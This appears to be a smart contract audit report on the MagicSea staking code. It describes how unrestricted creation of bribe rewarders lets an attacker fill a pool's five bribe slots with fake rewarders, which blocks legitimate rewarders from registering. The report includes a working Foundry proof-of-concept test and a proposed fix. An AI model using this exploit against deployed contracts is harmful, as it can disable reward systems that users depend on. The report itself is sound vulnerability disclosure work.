Clever Paisley Ladybug

Medium

# DoSing the rewarding system by flooding the `onRegister()` function with fake rewarders

## Summary
We can create fake rewarders and register them to fool voters and dos the onRegister() function for all pools leading to disabling the rewarding system.

## Vulnerability Detail
To create a new BribeRewarder we can either call the `createRewarder()` or `createBribeRewarder()` in the `RewarderFactory`.
createRewarder() function performs a check of ownership before allowing to create a new bribrewarder. However, this check could be bypassed by simply calling the `createBribeRewarder()` function.

```solidity
function createBribeRewarder(IERC20 token, address pool) external returns (IBribeRewarder rewarder) {
        rewarder = IBribeRewarder(_cloneBribe(RewarderType.BribeRewarder, token, pool));

        emit BribeRewarderCreated(RewarderType.BribeRewarder, token, pool, rewarder);
    }
```
As you can see this function direcly call the _cloneBribe() function to create the BribeRewarder, without a check if the token is a legitimate one or if the pool even exists.
Now that we have the fake rewarder, we can register it for that specific pool by calling the `fundAndBribe()` function.

```solidity
function fundAndBribe(uint256 startId, uint256 lastId, uint256 amountPerPeriod) external payable onlyOwner {
        IERC20 token = _token();
        uint256 totalAmount = _calcTotalAmount(startId, lastId, amountPerPeriod);

        if (address(token) == address(0)) {
            if (msg.value < totalAmount) {
                revert BribeRewarder__InsufficientFunds();
            }
        } else {
            token.safeTransferFrom(msg.sender, address(this), totalAmount);
        }

        _bribe(startId, lastId, amountPerPeriod);
    }
```

The registration of the rewarder is performed at the end by calling the _bribe() function, which itself perform an external call to the onRegister() function in the voter contract.

```solidity
    function _bribe(uint256 startId, uint256 lastId, uint256 amountPerPeriod) internal {
        _checkAlreadyInitialized();
        if (lastId < startId) revert BribeRewarder__WrongEndId();
        if (amountPerPeriod == 0) revert BribeRewarder__ZeroReward();

        IVoter voter = IVoter(_caller);

        if (startId <= voter.getCurrentVotingPeriod()) {
            revert BribeRewarder__WrongStartId();
        }

        uint256 totalAmount = _calcTotalAmount(startId, lastId, amountPerPeriod);

        uint256 balance = _balanceOfThis(_token());

        if (balance < totalAmount) revert BribeRewarder__InsufficientFunds();

        _startVotingPeriod = startId;
        _lastVotingPeriod = lastId;
        _amountPerPeriod = amountPerPeriod;

        // create rewads per period
        uint256 bribeEpochs = _calcPeriods(startId, lastId);
        for (uint256 i = 0; i <= bribeEpochs; ++i) {
            _rewards.push();
        }

        _lastUpdateTimestamp = block.timestamp;

        IVoter(_caller).onRegister();

        emit BribeInit(startId, lastId, amountPerPeriod);
    }
```

```solidity
function onRegister() external override {
        IBribeRewarder rewarder = IBribeRewarder(msg.sender); 

        _checkRegisterCaller(rewarder);

        uint256 currentPeriodId = _currentVotingPeriodId;
        (address pool, uint256[] memory periods) = rewarder.getBribePeriods();
        for (uint256 i = 0; i < periods.length; ++i) {
            // TODO check if rewarder token + pool  is already registered

            require(periods[i] >= currentPeriodId, "wrong period");
            require(_bribesPerPriod[periods[i]][pool].length + 1 <= Constants.MAX_BRIBES_PER_POOL, "too much bribes");
            _bribesPerPriod[periods[i]][pool].push(rewarder);
        }
    }
```

As you can see the onRegister function allow each pool to have a maximum number of 5 rewarders. therefore, by creating multiple fake rewarders we can DoS this function by making it reverting with a "too much bribes" error message each time a new real rewarder try to register for all pools, leading to a complet halt of the rewarding system for votes.

Here is a Proof of Concept that you can add to the `BribeRewarder.t.sol` file to reproduce this vulnerability:
```solidity
function testDoSOnRegister() public {
        ERC20Mock(address(rewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(rewardToken)).approve(address(rewarder), 20e18);

        // this is the address of the fake reward token 
        IERC20 fakeRewardToken = IERC20(new ERC20Mock("Fake Reward Token", "FRT", 6));

        // Step 1 generate at least 5 fake rewarders:

        BribeRewarder fakeRewarder1;
        BribeRewarder fakeRewarder2;
        BribeRewarder fakeRewarder3;
        BribeRewarder fakeRewarder4;
        BribeRewarder fakeRewarder5;

        fakeRewarder1 = BribeRewarder(payable(address(factory.createBribeRewarder(fakeRewardToken, pool))));
        fakeRewarder2 = BribeRewarder(payable(address(factory.createBribeRewarder(fakeRewardToken, pool))));
        fakeRewarder3 = BribeRewarder(payable(address(factory.createBribeRewarder(fakeRewardToken, pool))));
        fakeRewarder4 = BribeRewarder(payable(address(factory.createBribeRewarder(fakeRewardToken, pool))));
        fakeRewarder5 = BribeRewarder(payable(address(factory.createBribeRewarder(fakeRewardToken, pool))));

        
        ERC20Mock(address(fakeRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(fakeRewardToken)).approve(address(fakeRewarder1), 20e18);

        ERC20Mock(address(fakeRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(fakeRewardToken)).approve(address(fakeRewarder2), 20e18);

        ERC20Mock(address(fakeRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(fakeRewardToken)).approve(address(fakeRewarder3), 20e18);

        ERC20Mock(address(fakeRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(fakeRewardToken)).approve(address(fakeRewarder4), 20e18);

        ERC20Mock(address(fakeRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(fakeRewardToken)).approve(address(fakeRewarder5), 20e18);


        // Here we try to register the fake rewarders for the targeted pool
        
        fakeRewarder1.fundAndBribe(1, 2, 1);
        fakeRewarder2.fundAndBribe(1, 2, 1);
        fakeRewarder3.fundAndBribe(1, 2, 1);
        fakeRewarder4.fundAndBribe(1, 2, 1);
        fakeRewarder5.fundAndBribe(1, 2, 1);

        // until here everything should be okey
        
        // now we try to register our legitimate rewarder
        vm.expectRevert(bytes("too much bribes"));
        rewarder.fundAndBribe(1, 2, 1);
       
    }
```

## Impact
This vulnerability will lead to disabling the whole rewarding system.

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/RewarderFactory.sol#L109-L113

## Tool used
Manual Review

## Recommendation
You can either add the `_checkOwner()` check to the code, to only allow Owner to create new BribeRewarder.
Or you can use a whitelisted tokens for rewarder and add a minimum funding value.